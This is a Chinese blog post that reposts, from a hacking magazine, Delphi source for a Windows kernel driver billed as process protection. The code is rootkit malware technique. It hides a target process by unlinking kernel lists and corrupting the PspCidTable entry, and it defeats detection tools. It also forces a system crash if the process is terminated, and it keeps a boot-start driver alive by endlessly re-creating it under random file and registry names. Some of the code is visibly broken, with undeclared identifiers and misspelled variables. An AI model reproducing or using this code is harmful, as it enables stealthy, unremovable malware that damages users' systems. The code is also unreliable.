使用Delphi实现Windows内核模式的进程保护

作者在 2010-01-25 13:05:47 发布以下内容
 
小弟收集黑防的。
代码有些乱,讲究看吧!!!!-------
code1.txt
Var ProcessFlagOffset,ThreadFlagOffset:Cardinal; ProcessObjectType,ThreadObjectType:Pointer;
TargetPID,TargetTID:Cardinal;
function IsListEntry(Address:PLIST_ENTRY):Boolean;//此函数用于判断所给的地址对应的内存区域是否储存着一个有效的LIST_ENTRY结构,一个有效的LIST_ENTRY的特点是它的BLink和FLink的值是有效的内存地址,且BLink指向的LIST_ENTRY的FLink的值和FLink指向的LIST_ENTRY的BLink的值就是要鉴别的LIST_ENTRY地址
begin
result:=False;
if not MmIsAddressValid(Address) then exit;
if not MmIsAddressValid(Address^.BLink) then exit;
if not MmIsAddressValid(Address^.FLink) then exit;
if not MmIsAddressValid(Address^.BLink^.BLink) then exit;
if not MmIsAddressValid(Address^.BLink^.FLink) then exit;
if not MmIsAddressValid(Address^.FLink^.BLink) then exit;
if not MmIsAddressValid(Address^.FLink^.FLink) then exit;
if Address^.FLink^.BLink<>Address then exit;
if Address^.BLink^.FLink<>Address then exit;
result:=True;
end;

function RemoveListEntry(Address:PLIST_ENTRY):Boolean; //此函数的作用是把一个LIST_ENTRY从它所在的双向链表中移除,即使它的前一个LIST_ENTRY的BLink指向它的后一个LIST_ENTRY,它的后一个LIST_ENTRY的FLink指向它的前一个LIST_ENTRY
begin
result:=False;
if not MmIsAddressValid(Address) then exit;
if not MmIsAddressValid(Address^.BLink) then exit;
if not MmIsAddressValid(Address^.FLink) then exit;
Address^.BLink^.FLink:=Address^.FLink;
Address^.FLink^.BLink:=Address^.BLink;
result:=True;
end;

function IsModifiedListEntry(Address:PLIST_ENTRY):Boolean; //检查一个指定内存区域的内容是否为一个被移除的LIST_ENTRY
begin
result:=False;
if not MmIsAddressValid(Address) then exit;
if not MmIsAddressValid(Address^.BLink) then exit;
if not MmIsAddressValid(Address^.FLink) then exit;
if not MmIsAddressValid(Address^.BLink^.BLink) then exit;
if not MmIsAddressValid(Address^.BLink^.FLink) then exit;
if not MmIsAddressValid(Address^.FLink^.BLink) then exit;
if not MmIsAddressValid(Address^.FLink^.FLink) then exit;
if Address^.FLink^.BLink<>Address^.BLink then exit;
if Address^.BLink^.FLink<>Address^.FLink then exit;
result:=True;
end;

function RestoreListEntry(Address:PLIST_ENTRY):Boolean; //恢复被修改过的LIST_ENTRY
begin
result:=False;
if not MmIsAddressValid(Address) then exit;
if not MmIsAddressValid(Address^.BLink) then exit;
if not MmIsAddressValid(Address^.FLink) then exit;
Address^.BLink^.FLink:=Address;
Address^.FLink^.BLink:=Address;
result:=True;
end;

function ModifyList(Address:Pointer;Range:Cardinal):Cardinal; //此函数的作用是在一定范围内扫描内存,如发现有效的LIST_ENTRY就把它移除
var I:Cardinal;
begin
result:=0;
for I:=Cardinal(Address) to Cardinal(Address)+Range do if IsListEntry(Pointer(I)) then begin
Inc(result);
RemoveListEntry(Pointer(I));
end;
end;

function RestoreList(Address:Pointer;Range:Cardinal):Cardinal; //此函数的作用是在一定范围内扫描内存,如发现被脱链的LIST_ENTRY就把它恢复
var I:Cardinal;
begin
result:=0;
for I:=Cardinal(Address) to Cardinal(Address)+Range do if IsModifiedListEntry(Pointer(I)) then begin
Inc(result);
RestoreListEntry(Pointer(I));
end;
end;

procedure GetCrossFlagsOffset; //此函数的作用是从导出函数PsIsThreadTerminating和PsGetProcessExitProcessCalled找到线程和进程的CrossFlags偏移量并存入全局变量中
var Str:UNICODE_STRING;Addr:Pointer;
begin
RtlInitUnicodeString(Str, 'PsIsThreadTerminating');
Addr:=MmGetSystemRoutineAddress(@Str);
ThreadFlagOffset:=PCardinal(Cardinal(Addr)+10)^;
RtlInitUnicodeString(Str, 'PsGetProcessExitProcessCalled');
Addr:=MmGetSystemRoutineAddress(@Str);
ProcessFlagOffset:=PCardinal(Cardinal(Addr)+10)^;
end;

procedure GetProcessThreadType;//获取进程和线程对象头中的OBJECT_TYPE结构地址
begin
ProcessObjectType:=PCardinal(Cardinal(PsGetCurrentProcess)-16)^;
ThreadObjectType:=PCardinal(Cardinal(PsGetCurrentThread)-16)^;
end;

procedure GetPspCidTableAddress;//从导出函数PsLookupProcessByProcessId代码中获取未导出变量PspCidTable的值,也就是一个句柄表的地址
var P:Cardinal;
begin
for P:=Cardinal(@PsLookupProcessByProcessId) to Cardinal(@PsLookupProcessByProcessId)+4096 do if MmIsAddressValid(Pointer(P)) then
if (PWord(P)^=13823)and(PByte(P+6)^=232) then begin
PspCidTable:=Pointer(PPointer(P+2)^^);
exit;
end;
end;

function LookupProcessThread(ClientId:Cardinal;StoreAddress:PPointer=nil):Pointer; //从PspCidTable指向的句柄表中获取指定的标识符所对应的对象地址和对象地址在句柄表中的存储位置
var TableCode,FirstTable, SecondTable,ObjectAddress:Cardinal;
begin
TableCode:=PCardinal(PspCidTable)^;
if (TableCode and 3)=0 then begin //句柄表的前4字节存储着TableCode,如它的低二位都为0,则只有一张表,它的值就是第一个表的地址;如低二位如果都为1,则有两张表
FirstTable:=TableCode;
SecondTable:=0;
end else if (TableCode and 3)=1 then begin
FirstTable:=PCardinal(TableCode and not 3)^;//将TableCode后两位置零后即为第一张表和第二张表的地址所存储的内存区域的首地址。第一张表的地址在这一内存区域的前4字节,第二张表的地址在这一内存区域的后4字节
SecondTable:=PCardinal((TableCode and not 3)+4)^;
end;
ObjectAddress:=0;
if ClientId <=$800 then//ClientId小于2048的才会在第一张表中
if MmIsAddressValid(Pointer(FirstTable + ClientId *2)) then begin //表中一个单元为8字节,前4字节为进程或线程对象地址,后4字节为NextFreeEntry。由于ClientId为4的倍数,所以一个ClientId对应的存储单元的地址为表的地址加上ClientId的两倍
if StoreAddress<>nil then StoreAddress^:=Pointer(FirstTable + ClientId *2);
ObjectAddress:=PCardinal(FirstTable + ClientId *2)^;
ObjectAddress:=(ObjectAddress or $80000000) and $FFFFFFF8; //将低三位置零,再将高一位置1就得到真正的对象地址
end else if SecondTable <>0 then if MmIsAddressValid(Pointer(SecondTable +( ClientId -$800)*2)) then begin
if StoreAddress<>nil then StoreAddress^:=Pointer(SecondTable +( ClientId -$800)*2);
ObjectAddress:=PCardinal(SecondTable +( ClientId -$800)*2)^;
ObjectAddress:=(ObjectAddress or $80000000) and $FFFFFFF8;
end;
result:=Pointer(ObjectAddress);
end;

function CloseProcessHandle(ProcessId:Cardinal;ObjectAddress:Pointer):Cardinal;//关闭一个进程的指定对象的句柄
var C,R:Cardinal;Process,P:Pointer;
begin
R:=PsLookupProcessByProcessId(ProcessId,Process);
if R<>0 then exit;
KeAttachProcess(Process);
For C:=1 to 512 do begin
Result:=C*4;//句柄号为4的倍数
R:=ObReferenceObjectByHandle(Result,GENERIC_READ,nil,0,P,nil);
if (R=0) and (P=ObjectAddress) then begin
ObfDereferenceObject(P);
ObCloseHandle(Result,0);
end;//在一个范围内通过ObReferenceObjectByHandle尝试引用句柄并获取句柄的对象地址,如果引用成功且句柄的对象地址与指定对象地址相同则把句柄关闭
end;
KeDetachProcess;
ObfDereferenceObject(Process);
end;

procedure WriteProtectOn;assembler;//开启内存写保护
asm
mov eax,cr0
or  eax,$10000
mov cr0,eax
sti
end;

procedure WriteProtectOff;assembler; //关闭内存写保护
asm
cli
mov eax,cr0
and eax,not $10000
mov cr0,eax
end;

procedure Crash;//使操作系统崩溃的程序(达到崩溃目的有很多方法,这里是破坏KeBugCheckEx代码后再调用它)
begin
WriteProtectOff;
RtlZeroMemory(@KeBugCheckEx,50);
WriteProtectOn;
KeBugCheckEx(1,2,3,4,5);
PChar(0)^:=#0;//访问零地址内存,这也会使操作系统崩溃
end;

procedure CreateProcessNotifyRoutine(ParentId,ProcessId:Cardinal;Create:Boolean);stdcall;
begin
if (ProcessId=TargetPID)and not Create then Crash;
end;

procedure CreateThreadNotifyRoutine(ProcessId,ThreadId:Cardinal;Create:Boolean);stdcall;
begin
if ((ThreadId=TargetTID))and (not Create) then Crash;
end;// 以上两个函数的作用后面会介绍

procedure ProtectProcessAndThread(ProcessId,ThreadId ,CsrssId:Cardinal);
var ProcessObject,ThreadObject,StoreUnit:Pointer; C:Cardinal;
begin
ProcessObject:= LookupProcessThread(ProcessId, @ StoreUnit) ;
PCardinal(Cardinal(ProcessObject)-16)^:=ThreadObjectType;//将目标进程对象头的OBJECT_TYPE地址改为线程对象的,这样会导致无法打开目标进程和已经打开的句柄失效,也可以干扰通过枚举PspCidTable和搜索内存的检测进程方式,因为上述方式必须检查对象头的OBJECT_TYPE是否为进程对象的OBJECT_TYPE,否则得到的结果就会包含非进程对象,以后用操作进程的方法操作这些非进程就会导致操作系统崩溃,因此上述方式会排除OBJECT_TYPE不为进程的OBJECT_TYPE的对象。而现在要保护的进程的OBJECT_TYPE被改为了线程对象的,自然使上述检测进程方式失效

PCardinal(Cardinal(ProcessObject)+ProcessFlagOffset)^:=PCardinal(Cardinal(ProcessObject)+ProcessFlagOffset)^ or 8192; //当调用NtTerminateProcess或PspTerminateProcess结束进程时,这两个函数就会检查欲结束进程的标志中的第14个位-BreakOnTermination位,如果值是1,则它们会调用PspCatchCriticalBreak传送结束关键进程的消息,然后PspCatchCriticalBreak调用KeBugCheckEx导致蓝屏,结束csrss.exe进程是就会有这样的效果。现在把要保护的进程的标志中的BreakOnTermination位设为1,就使得结束此进程时蓝屏,起到了保护的效果。
ModifyList(ProcessObject,512);//在目标进程EPROCESS结构中寻找LIST_ENTRY,并将它们从各自的双向链表中移除,达到隐藏进程的目的
For C:=0 to 512 do if PCardinal(Cardinal(ProcessObject)+C)^=ProcessId Then begin
PCardinal(Cardinal(ProcessObjec)+status)^:=123;
break;
end;//在进程EPROCESS结构中寻找进程标识符(UniqueProcessId)存储位置,找到后就把它改掉,进一步干扰进程的检测工作

PPointer(StoreUnit)^:=nil;
PCardinal(Cardinal(StoreUnit)+4)^:=1;//将目标进程对象地址在PspCidTable的单元破坏,导致无法通过PspCidTable获取目标进程的对象地址

ThreadObject:= LookupProcessThread(ThreadId); //保护线程不能改PspCidTable和UniqueThreadId,这样会导致目标线程无法运行。也不能改OBJECT_TYPE地址,否则当某些进程检测工具如IceSword枚举进程时会导致IceSword和被改过的线程卡住,没法继续运行。
PCardinal(Cardinal(ThreadObject)+ThreadFlagOffset)^:=PCardinal(Cardinal(ThreadObject)+ThreadFlagOffset)^ or 64; //设置线程的BreakOnTermination标志位,当PspTerminateThreadByPointer结束线程时会检查此标志位,如果值为1则蓝屏
PCardinal(Cardinal(ThreadObject)+ThreadFlagOffset)^:=PCardinal(Cardinal(ThreadObject)+ThreadFlagOffset+4)^ or 1; //设置线程的ActiveExecutiveWorker标志位,线程在调用PspExitThread结束自身时会检查此标志位,如果值为1则蓝屏
ModifyList(ThreadObject,512);

TargetPID:=ProcessId;
TargerTID:=ThreadId;//将要保护的进程标识符和线程标识符记录在全局变量中
PsSetCreateProcessNotifyRoutine(@CreateProcessNotifyRoutine,False);
PsSetCreateThreadNotifyRoutine(@CreateThreadNotifyRoutine);//设置进程和线程创建、结束提示例程。当创建进程、线程和结束进程、线程时会调用CreateProcessNotifyRoutine和CreateThreadNotifyRoutine,在这两个提示例程中判断要结束的进程是否为被保护的进程,如果是则调用Crash函数导致系统崩溃
CloseProcessHandle (CsrssId,ProcessObject) //关闭csrss.exe进程中的目标进程句柄
//注意:以上操作中的改PspCidTable、改OBJECT_TYPE地址和进程标识符以及关闭csrss.exe句柄会导致目标进程无法创建Win32子进程和Win32线程,应在目标进程的创建子进程和线程工作完毕后再启动保护
end;


code2.txt
Var Seed , FileDataSize:Cardinal; FileData:Pointer; DriverRegistryHandle:Cardinal;
Type
PWideCharList=^WideCharList;
WideCharList=array [0..255] of WideChar;

function GetSecond:Byte;
begin
asm
mov ah,2ch
mov Result,dh
end;
end;

function Ran:Byte;//得到一个处于97('a')至122('z')之间的随机数,种子Seed应在DriverEntry中赋值,值可以是GetSecond的结果
begin
repeat
Result:=Byte(RtlRandomEx(@Seed));
until (Result>=97) and (Result<=122)
end;

procedure RandomWideString(Buffer:PWideCharList;Count:Cardinal);//获取一段随机Unicode字符串
var I:Cardinal;
begin
RtlZeroMemory(Buffer,512);
For I:=0 to Count do Buffer^:=WideChar(Ran);
end;

function OpenKey(RegistryPath:PUNICODE_STRING;DesiredAccess:Cardinal=$F003F;CreateKey:Boolean=True):Cardinal;
var Obj:TObjectAttributes;//打开或创建一个注册表键
begin
result:=0;
Obj.Length:=SizeOf(TObjectAttributes);
Obj.ObjectName:=PUnicodeString(RegistryPath);
Obj.Attributes:=$00000040;
Obj.RootDirectory:=0;
Obj.SecurityDescriptor:=nil;
Obj.SecurityQualityOfService:=nil;
if CreateKey then ZwCreateKey(@Result,DesiredAccess,@Obj,0,nil,0,nil) else ZwOpenKey(@Result,DesiredAccess,@Obj);
end;

function ReadValue(RegistryPath,ValueName:PUNICODE_STRING;Data:Pointer):Cardinal;
var hKey,ReturnLength:Cardinal;Buf:KEY_VALUE_PARTICIAL_INFORMAION; //读取注册表值begin
hKey:=OpenKey(RegistryPath,$20019);
Result:=ZwQueryValueKey(hKey,ValueName,2,@Buf,1036,@ReturnLength);
ObCloseHandle(hKey,0);
RtlMoveMemory(Data,@Buf.Bytes,512);
end;

function WriteValue(KeyHandle:Cardinal;ValueName:PUNICODE_STRING;DataType,DataLength:Cardinal;Data:Pointer):Cardinal;
var hKey,ReturnLength:Cardinal; //写注册表值
begin
Result:=ZwSetValueKey(hKey,ValueName,0,DataType,Data,DataLength);
end;

function OpenFile(FileAddress:PUnicodeString;DesiredAccess:Cardinal;Create:Byte=1):Cardinal; //打开或创建文件
var Obj:TObjectAttributes;IoStatusBlock:TIoStatusBlock;R:Cardinal;
begin
result:=0;
InitializeObjectAttributes(Obj,FileAddress,$40,0,nil);
if Create=1 Then R:=IoCreateFile(@Result,DesiredAccess,@Obj,@IoStatusBlock,nil,$80,0,3,0,nil,0,0,nil,$100) else R:=IoCreateFile(@Result,DesiredAccess,@Obj,@IoStatusBlock,nil,0,0,1,0,nil,0,0,nil,$100);
end;

function GetFileSize(FileHandle:Cardinal):Cardinal; //获取文件大小
var Buf:FILE_STANDARD_INFORMATION;IO:TIoStatusBlock;
begin
ZwQueryInformationFile(FileHandle,@IO,@Buf,SizeOf(FILE_STANDARD_INFORMATION),5);
Result:=Buf.EndOfFile.LowPart;
end;

function CreateFileSection(FileHandle:Cardinal;MaximumSize:Cardinal):Pointer; //创建一个针对文件的节
var R:Cardinal;MaxSize:Int64;
begin
Result:=nil;
MaxSize:=MaximumSize;
R:=MmCreateSection(@Result,1 or 2 or 4 or 8 or 16 or $F0000{SECTION _ALL_ACCESS },nil,@MaxSize,4,$8000000,FileHandle,nil);
if R<>0 then Result:=nil;
end;

function MapSection(SectionObject,ProcessObject:Pointer):Pointer;//将节的内容映射到一段内存区域
var R:Cardinal;SectionOffset:Int64;ViewSize:Cardinal;
begin
result:=nil;
ViewSize:=0;
SectionOffset:=0;
R:=MmMapViewOfSection(SectionObject,ProcessObject,@Result,0,0,@SectionOffset,@ViewSize,2,0,4);
if R<>0 then Result:=nil;
end;

function ReadFile(FileHandle,SectionSize:Cardinal;BaseAddress:Pointer;Length,Offset:Cardinal):Cardinal;
var Section,View:Pointer;//映射文件节后把节的数据复制到准备好的内存区域内,用于读取文件内容
begin
Result:=$C0000005;
if not MmIsAddressValid(BaseAddress) then exit;
Section:=CreateFileSection(FileHandle,SectionSize);
if Section=nil then exit;
View:=MapSection(Section,PsGetCurrentProcess);
if View=nil then exit;
RtlMoveMemory(BaseAddress,Pointer(Cardinal(View)+Offset),Length);
MmUnmapViewOfSection(PsGetCurrentProcess,View);
ObfDereferenceObject(Section);
Result:=0;
end;

function WriteFile(FileHandle,SectionSize:Cardinal;BaseAddress:Pointer;Length,Offset:Cardinal):Cardinal; var Section,View,P:Pointer;RegionSize:PCardinal;IO:TIoStatusBlock; //写文件
begin
Result:=$C0000005;
if not MmIsAddressValid(BaseAddress) then exit;
Section:=CreateFileSection(FileHandle,SectionSize);
if Section=nil then exit;
View:=MapSection(Section,PsGetCurrentProcess);
if View=nil then exit;
RtlMoveMemory(Pointer(Cardinal(View)+Offset),BaseAddress,Length);
P:=View;
RegionSize:=0;
ZwFlushVirtualMemory($FFFFFFFF,@P,@RegionSize,@IO);//对节映射到的内存区域执行刷入操作,把尚处于随机存取存储器中的文件数据写入硬盘
MmUnmapViewOfSection(PsGetCurrentProcess,View);
ObfDereferenceObject(Section);
Result:=0;
end;

procedure GetDriverFileData;
var hFile,Len,R:Cardinal;Str:UNICODE_STRING;Buf:WideCharList;Delay:Int64;Obj:TObjectAttributes; //从驱动程序注册表项中获取已存在的文件地址,然后把它读入到一块内存区域中
begin
RtlZeroMemory(@Buf,512);
RtlInitUnicodeString(Str,'ImagePath2');//在系统启动时会自动加载驱动程序,此处将驱动程序启动模式设为0,即“引导”,这时驱动程序映像路径为system32\Drivers\XXX。但是读取文件需要完整路径,故存放两个映像路径ImagePath和ImagePath2,后者用于存放完整路径,即\SystemRoot\System32\Drivers\XXX
R:=ReadValue(DriverRegistryHandle,@Str,@Buf);
if R<>0 then begin
RtlZeroMemory(@Buf,512);
RtlInitUnicodeString(Str,'ImagePath');
ReadValue(DriverRegistryHandle,@Str,@Buf);
end;
RtlInitUnicodeString(Str,@Buf);
Delay:=-HNano(2000);
repeat
hFile:=OpenFile(@Str,$1f03ff,0);
KeDelayExecutionThread(0,False,@Delay);//此时各种目录对象和符号链接都未被创建,打开文件会失败,因此这里用一个循环,不停地尝试打开文件,直到成功为止
until hFile<>0;
Len:=GetFileSize(hFile);
FileData:=ExAllocatePoolWithTag(0,Len,0);
FileDataSize:=Len;
ReadFile(hFile,Len,FileData,Len,0);
ObCloseHandle(hFile,0);
if R=0 then begin
InitializeObjectAttributes(Obj,@Str,$40,0,nil);
ZwDeleteFile(@obj);
end;//后面会创建新文件,原文件在读取后就不需要了
end;

procedure RandomFile;stdcall;
var Str,Str2,LastStr,LastStr2:array[0..3] of UNICODE_STRING;ValueName:array [0..6] of UNICODE_STRING;S:WideCharList;Obj:TObjectAttributes;hFile,hKey,C,T:Cardinal;Delay:Int64;
Group:WideCharList;
begin
GetDriverFileData;
Delay:=- 20000000;
for C:=0 to 3 do begin
RtlInitUnicodeString(Str[C],'\SystemRoot\System32\Drivers\12345678');
RtlInitUnicodeString(Str2[C],'\Registry\Machine\SYSTEM\CurrentControlSet\Services\12345678');
RtlInitUnicodeString(LastStr[C],'\SystemRoot\System32\Drivers\12345678');
RtlInitUnicodeString(LastStr2[C],'\Registry\Machine\SYSTEM\CurrentControlSet\Services\12345678');
end; //此处代码有问题,请看后面说明
RtlInitUnicodeString(ValueName[0],'Type');
RtlInitUnicodeString(ValueName[1],'Start');
RtlInitUnicodeString(ValueName[2],'ErrorControl');
RtlInitUnicodeString(ValueName[3],'ImagePath');
RtlInitUnicodeString(ValueName[4],'Group');
RtlInitUnicodeString(ValueName[5],'ImagePath2');
RtlInitUnicodeString(ValueName[6],'DisplayName');
RtlZeroMemory(@Group,512);
Group[0]:='S';
Group[1]:='y';
Group[2]:='s';
Group[3]:='t';
Group[4]:='e';
Group[5]:='m';
Group[6]:=' ';
Group[7]:='R';
Group[8]:='e';
Group[9]:='s';
Group[10]:='e';
Group[11]:='r';
Group[12]:='v';
Group[13]:='e';
Group[14]:='d';
InitializeObjectAttributes(Obj,@Str[0],$40,0,nil);
C:=0;
Repeat
RandomWideString(@S,8);
RtlMoveMemory(LastStr[C].Buffer,Str[C].Buffer,74);
RtlMoveMemory(LastStr2[C].Buffer,Str2[C].Buffer,120);
RtlMoveMemory(Pointer(Cardinal(Str[C].Buffer)+58),@S,16);
RtlMoveMemory(Pointer(Cardinal(Str2[C].Buffer)+104),@S,16);
hKey:=OpenKey(@Str2[C]);
T:=1;
WriteValue(hKey,@ValueName[0],4,4,@T);
T:=0;
WriteValue(hKey,@ValueName[1],4,4,@T);
WriteValue(hKey,@ValueName[2],4,4,@T);
WriteValue(hKey,@ValueName[3],2,52,Pointer(Cardinal(Str[C].Buffer)+24));
WriteValue(hKey,@ValueName[4],1,32,@Group);
WriteValue(hKey,@ValueName[5],2,76,Pointer(Cardinal(Str[C].Buffer)));
WriteValue(hKey,@ValueName[6],1,18,@S);
ZwFlushKey(hKey);
ObCloseHandle(hKey,0);
hFile:=OpenFile(@Str[C],$1f03ff,1);
WriteFile(hFile,FileDataSize,FileData,FileDataSize,0);
ObCloseHandle(hFile,0);
Obj.ObjectName:=@LastStr[C];
ZwDeleteFile(@Obj);
hKey:=OpenKey(@LastStr2[C]);
ZwDeleteKey(hKey);
ZwFlushKey(hKey);
ObCloseHandle(hKey,0);
C:=C+1;
if C>3 then C:=0;
KeDelayExecutionThread(0,False,@Delay);
until False;
end; //这一段程序会在Drivers文件夹内不停地创建有随机文件名的驱动程序文件和注册表键,以干扰一切对驱动程序文件和注册表的操作,并且会删除上一次创建的项目,确保不会有多余的
破解@经历 | 阅读 5264 次
文章评论,共0条
游客请输入验证码
浏览2344278次